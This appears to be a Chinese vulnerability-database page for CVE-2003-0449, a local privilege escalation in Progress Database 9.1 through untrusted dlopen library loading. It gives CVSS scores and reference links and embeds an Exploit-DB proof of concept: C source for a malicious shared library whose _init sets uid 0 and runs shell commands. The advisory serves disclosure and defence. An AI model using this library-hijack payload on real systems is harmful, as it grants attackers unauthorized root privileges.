CVE-2003-0449
CVSS4.6
发布时间 :2003-08-07 00:00:00
修订时间 :2016-10-17 22:33:59
NMCOE    

[原文]Progress Database 9.1 to 9.1D06 trusts user input to find and load libraries using dlopen, which allows local users to gain privileges via (1) a PATH environment variable that points to malicious libraries, as demonstrated using libjutil.so in_proapsv, or (2) the -installdir command line parameter, as demonstrated using librocket_r.so in _dbagent.


[CNNVD]Progress Database获取特权漏洞(CNNVD-200308-028)

        Progress Database 9.1至9.1D06版本相信用户输入端使用dlopen查找和加载库,本地用户借助(1)指向恶意库的PATH环境变量,如使用libjutil.so in_proapsv,或者(2) -installdir命令行参数,如使用librocket_r.so in _dbagent.获取特权。
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0449
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0449
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-028
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105561134624665&w=2
(UNKNOWN)  BUGTRAQ  20030614 SRT2003-06-13-0945 - Progress PATH based dlopen() issue
http://marc.info/?l=bugtraq&m=105561189625082&w=2
(UNKNOWN)  BUGTRAQ  20030614 SRT2003-06-13-1009 - Progress _dbagent -installdir dlopen() issue
http://www.secnetops.com/research/advisories/SRT2003-06-13-0945.txt
(VENDOR_ADVISORY)  MISC  http://www.secnetops.com/research/advisories/SRT2003-06-13-0945.txt
http://www.secnetops.com/research/advisories/SRT2003-06-13-1009.txt
(VENDOR_ADVISORY)  MISC  http://www.secnetops.com/research/advisories/SRT2003-06-13-1009.txt

- 漏洞信息

Progress Database获取特权漏洞
中危 未知
2003-08-07 00:00:00 2005-10-20 00:00:00
本地  
        Progress Database 9.1至9.1D06版本相信用户输入端使用dlopen查找和加载库,本地用户借助(1)指向恶意库的PATH环境变量,如使用libjutil.so in_proapsv,或者(2) -installdir命令行参数,如使用librocket_r.so in _dbagent.获取特权。
        

- 公告与补丁

        

- 漏洞信息 (22773)

Progress Database 9.1 Environment Variable Local Privilege Escalation Vulnerability (EDBID:22773)
linux local
2003-06-14 Verified
0 kf
N/A [点击下载]
source: http://www.securityfocus.com/bid/7916/info

It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.

Any library code loaded will execute with elevated privileges. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
} 		

- 漏洞信息

2157
Progress Database libjutil.so PATH Subversion Privilege Escalation

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-06-13 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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